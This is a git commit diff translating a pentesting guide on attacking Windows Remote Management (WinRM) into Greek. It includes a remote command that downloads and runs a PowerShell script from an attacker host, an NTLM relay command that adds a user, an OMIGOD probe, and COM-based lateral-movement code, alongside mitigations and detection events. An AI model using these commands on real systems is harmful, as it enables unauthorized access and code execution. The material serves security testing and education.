Translated ['src/network-services-pentesting/5985-5986-pentesting-winrm.

This commit is contained in:
Translator 2025-08-13 16:15:26 +00:00
parent 53794d24b8
commit 11253441f0

View File

@ -4,23 +4,23 @@
## WinRM
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) επισημαίνεται ως ένα ** πρωτόκολλο από τη Microsoft** που επιτρέπει τη **τηλεδιαχείριση συστημάτων Windows** μέσω HTTP(S), αξιοποιώντας το SOAP στη διαδικασία. Βασίζεται θεμελιωδώς στο WMI, παρουσιάζοντας τον εαυτό του ως μια διεπαφή βασισμένη σε HTTP για τις λειτουργίες WMI.
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) επισημαίνεται ως ένα **πρωτόκολλο από τη Microsoft** που επιτρέπει τη **τηλεδιαχείριση συστημάτων Windows** μέσω HTTP(S), αξιοποιώντας το SOAP στη διαδικασία. Βασίζεται θεμελιωδώς στο WMI, παρουσιάζοντας τον εαυτό του ως μια διεπαφή βασισμένη σε HTTP για τις λειτουργίες WMI.
Η παρουσία του WinRM σε μια μηχανή επιτρέπει την απλή απομακρυσμένη διαχείριση μέσω PowerShell, παρόμοια με το πώς λειτουργεί το SSH για άλλα λειτουργικά συστήματα. Για να προσδιορίσετε αν το WinRM είναι λειτουργικό, συνιστάται να ελέγξετε το άνοιγμα συγκεκριμένων θυρών:
Η παρουσία του WinRM σε μια μηχανή επιτρέπει την απλή τηλεδιοίκηση μέσω PowerShell, παρόμοια με το πώς λειτουργεί το SSH για άλλα λειτουργικά συστήματα. Για να προσδιορίσετε αν το WinRM είναι λειτουργικό, συνιστάται να ελέγξετε το άνοιγμα συγκεκριμένων θυρών:
- **5985/tcp (HTTP)**
- **5986/tcp (HTTPS)**
Μια ανοιχτή θύρα από τη λίστα παραπάνω σημαίνει ότι το WinRM έχει ρυθμιστεί, επιτρέποντας έτσι τις προσπάθειες έναρξης μιας απομακρυσμένης συνεδρίας.
### **Εκκίνηση μιας Συνεδρίας WinRM**
### **Έναρξη μιας Συνεδρίας WinRM**
Για να ρυθμίσετε το PowerShell για το WinRM, το cmdlet `Enable-PSRemoting` της Microsoft έρχεται στο προσκήνιο, ρυθμίζοντας τον υπολογιστή να δέχεται απομακρυσμένες εντολές PowerShell. Με ανυψωμένη πρόσβαση PowerShell, οι παρακάτω εντολές μπορούν να εκτελούνται για να ενεργοποιήσουν αυτή τη λειτουργικότητα και να ορίσουν οποιονδήποτε υπολογιστή ως αξιόπιστο:
```bash
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
Αυτή η προσέγγιση περιλαμβάνει την προσθήκη ενός wildcard στη ρύθμιση `trustedhosts`, ένα βήμα που απαιτεί προσεκτική εξέταση λόγω των επιπτώσεών του. Επίσης, σημειώνεται ότι η αλλαγή του τύπου δικτύου από "Public" σε "Work" μπορεί να είναι απαραίτητη στη μηχανή του επιτιθέμενου.
Αυτή η προσέγγιση περιλαμβάνει την προσθήκη ενός wildcard στη ρύθμιση `trustedhosts`, ένα βήμα που απαιτεί προσεκτική εξέταση λόγω των επιπτώσεών του. Σημειώνεται επίσης ότι η αλλαγή του τύπου δικτύου από "Public" σε "Work" μπορεί να είναι απαραίτητη στη μηχανή του επιτιθέμενου.
Επιπλέον, το WinRM μπορεί να **ενεργοποιηθεί απομακρυσμένα** χρησιμοποιώντας την εντολή `wmic`, όπως φαίνεται παρακάτω:
```bash
@ -30,7 +30,7 @@ wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -forc
### Δοκιμή αν είναι ρυθμισμένο
Για να επαληθεύσετε τη ρύθμιση της μηχανής επίθεσης σας, χρησιμοποιείται η εντολή `Test-WSMan` για να ελέγξετε αν ο στόχος έχει ρυθμισμένο σωστά το WinRM. Εκτελώντας αυτή την εντολή, θα πρέπει να περιμένετε να λάβετε λεπτομέρειες σχετικά με την έκδοση του πρωτοκόλλου και το wsmid, υποδεικνύοντας επιτυχημένη ρύθμιση. Παρακάτω παρατίθενται παραδείγματα που δείχνουν την αναμενόμενη έξοδο για έναν ρυθμισμένο στόχο σε σύγκριση με έναν μη ρυθμισμένο:
Για να επαληθεύσετε τη ρύθμιση της μηχανής επίθεσης σας, χρησιμοποιείται η εντολή `Test-WSMan` για να ελέγξετε αν ο στόχος έχει ρυθμισμένο σωστά το WinRM. Εκτελώντας αυτή την εντολή, θα πρέπει να περιμένετε να λάβετε λεπτομέρειες σχετικά με την έκδοση του πρωτοκόλλου και το wsmid, υποδεικνύοντας επιτυχημένη ρύθμιση. Παρακάτω παρατίθενται παραδείγματα που δείχνουν την αναμενόμενη έξοδο για έναν ρυθμισμένο στόχο σε σύγκριση με έναν μη ρυθμισμένο:
- Για έναν στόχο που **είναι** σωστά ρυθμισμένος, η έξοδος θα μοιάζει με αυτό:
```bash
@ -46,7 +46,7 @@ Test-WSMan <target-ip>
### Εκτέλεση εντολής
Για να εκτελέσετε `ipconfig` απομακρυσμένα σε έναν στόχο μηχάνημα και να δείτε την έξοδό του, κάντε:
Για να εκτελέσετε το `ipconfig` απομακρυσμένα σε έναν στόχο υπολογιστή και να δείτε την έξοδό του, κάντε:
```bash
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
```
@ -64,9 +64,9 @@ Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-c
```bash
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
```
### Αποκτήστε μια συνεδρία PS
### Πάρε μια συνεδρία PS
Για να αποκτήσετε μια διαδραστική κονσόλα PowerShell, χρησιμοποιήστε `Enter-PSSession`:
Για να αποκτήσεις μια διαδραστική κονσόλα PowerShell, χρησιμοποίησε `Enter-PSSession`:
```bash
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
@ -87,7 +87,7 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
**Η συνεδρία θα εκτελείται σε μια νέα διαδικασία (wsmprovhost) μέσα στον "θύμα"**
### **Αναγκάζοντας το WinRM να Ανοίξει**
### **Αναγκάζοντας το WinRM να ανοιχτεί**
Για να χρησιμοποιήσετε το PS Remoting και το WinRM αλλά ο υπολογιστής δεν είναι ρυθμισμένος, μπορείτε να το ενεργοποιήσετε με:
```bash
@ -220,8 +220,73 @@ end
- `port:5985 Microsoft-HTTPAPI`
---
## Recent Vulnerabilities & Offensive Techniques (2021-2025)
### NTLM relay directly to WinRM (WS-MAN)
Από την έκδοση Impacket 0.11 (Μάιος 2023) το `ntlmrelayx.py` μπορεί να μεταφέρει τα καταγεγραμμένα NTLM διαπιστευτήρια απευθείας σε έναν **WS-MAN**/WinRM listener. Όταν ένας host ακούει ακόμα σε **μη κρυπτογραφημένο HTTP (5985)**, ένας επιτιθέμενος μπορεί να συνδυάσει το *mitm6* (ή το *Responder*) για να αναγκάσει την αυθεντικοποίηση και να αποκτήσει εκτέλεση κώδικα επιπέδου SYSTEM:
```bash
sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support \
--command "net user pwned P@ssw0rd! /add"
```
Mitigations
* Απενεργοποιήστε τους HTTP listeners `Set-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener -Value false`
* Εφαρμόστε HTTPS και ενεργοποιήστε την Επεκτεταμένη Προστασία για την Αυθεντικοποίηση (EPA) σε πρόσφατες εκδόσεις των Windows.
### OMIGOD CVE-2021-38647 (Azure OMI)
Οι Azure Linux agents χρησιμοποιούν την υπηρεσία **Open Management Infrastructure (OMI)** που εκθέτει το API WinRM/WS-MAN σε θύρες **5985/5986**. Ένα λογικό σφάλμα επέτρεψε **μη αυθεντικοποιημένο RCE ως root**:
```text
curl http://victim:5985/wsman -H 'Content-Type:text/xml' -d '<xml />'
```
Patch ή αφαιρέστε το OMI (έκδοση ≥ 1.6.8-1) και μπλοκάρετε αυτές τις θύρες από το Διαδίκτυο.
### WSMan.Automation COM abuse for lateral movement
WinRM μπορεί να ελεγχθεί χωρίς PowerShell μέσω του αντικειμένου `WSMan.Automation` COM χρήσιμο σε συστήματα σε λειτουργία περιορισμένης γλώσσας. Εργαλεία όπως το *SharpWSManWinRM* περιτυλίγουν αυτή την τεχνική:
```powershell
$ws = New-Object -ComObject 'WSMan.Automation'
$session = $ws.CreateSession('http://srv01:5985/wsman',0,$null)
$cmdId = $session.Command('cmd.exe',@('/c','whoami'))
$session.Signal($cmdId,0)
```
Η αλυσίδα εκτέλεσης (`svchost → wmiprvse → cmd.exe`) είναι ταυτόσημη με την κλασική PS-Remoting.
---
## Ενημερώσεις εργαλείων
* **Evil-WinRM v3.x (2024)** τώρα υποστηρίζει **Kerberos** (`-k` / `--spn`) και **πιστοποίηση με βάση πιστοποιητικά** (`--cert-pem`/`--key-pem`), καταγραφή συνεδριών (`-L`) και τη δυνατότητα απενεργοποίησης της ολοκλήρωσης διαδρομής απομακρυσμένα (`-N`).
```bash
RHOST=10.0.0.25 evil-winrm -i $RHOST -u j.doe -k --spn HTTP/$RHOST
```
* **Python `pypsrp` 0.9 (2024)** προσφέρει WinRM & PS-Remoting από Linux, συμπεριλαμβανομένων των CredSSP και Kerberos:
```python
from psrp.client import Client
c = Client('srv01', username='ACME\\j.doe', ssl=True)
print(c.execute_cmd('ipconfig /all').std_out.decode())
```
* **Ανίχνευση** παρακολουθήστε το **Microsoft-Windows-WinRM/Operational** αρχείο καταγραφής:
* Συμβάν 91 / 163 δημιουργία κελύφους
* Συμβάν 182 αποτυχία πιστοποίησης
* Στο αρχείο καταγραφής Ασφαλείας, το συμβάν 4262 καταγράφει τη διεύθυνση IP προέλευσης (προστέθηκε Ιούλιος 2022 CUs).
Συλλέξτε αυτά κεντρικά και ειδοποιήστε για ανώνυμες ή εξωτερικές IP.
---
## Shodan
- `port:5985 Microsoft-HTTPAPI`
## Αναφορές
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
- [https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/](https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/)
- [https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure](https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure)
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
## HackTricks Αυτόματες Εντολές